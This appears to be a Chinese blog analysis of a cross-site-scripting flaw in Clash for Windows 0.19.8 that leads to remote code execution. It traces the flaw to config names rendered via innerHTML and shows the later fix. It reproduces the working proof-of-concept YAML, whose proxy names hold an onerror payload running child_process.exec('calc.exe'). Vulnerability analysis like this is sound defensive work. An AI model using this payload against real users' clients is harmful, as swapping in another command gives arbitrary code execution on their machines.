Clash for Windows XSS RCE 分析
突然爆出了 Clash for Windows 的 XSS 远程命令执行漏洞,刚好有空,简单分析一下。
在 Github 的 Release 中,找到更新记录,发现在 v 0.19.8 中还未进行漏洞修复,在 v 0.19.9 中修复了漏洞,但是 v 0.19.10 又提到了一次漏洞修复,故将 v 0.19.8 下载到本地进行测试。
下载完后,由于是使用的 Vue + Electron 开发,故进行解包,得到以下文件,拖入 Visual Studio Code 进行分析:

根据 Issues 中的 POC,应该是读取配置文件的键值时,没有进行操作,直接渲染到 Vue 程序上。
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
搜索关键字 proxy-groups
,发现是由 e.conf
进行调用的,继续跟进,找到如下代码
e._l(e.conf["proxy-groups"],(function(t,n){return i("div",{key:n,staticClass:"proxy-item left-item",on:{click:function(i){return e.editGroup(t,n)}}},[i("div",{domProps:{innerHTML:e._s(e.$parseEmoji(t.name))}})
这样,proxy-groups
中的 name
经过解析表情函数 parseEmoji
处理后,被直接插入到HTML中,造成了 XSS 漏洞。
看了一下 v 0.19.9 也存在同样的问题,在 v 0.19.10 中,没有采用 innerHTML:
e._l(e.conf["proxy-groups"],(function(t,n){return i("div",{key:n,staticClass:"proxy-item left-item",on:{click:function(i){return e.editGroup(t,n)}}},[i("div",[e._v(e._s(t.name))])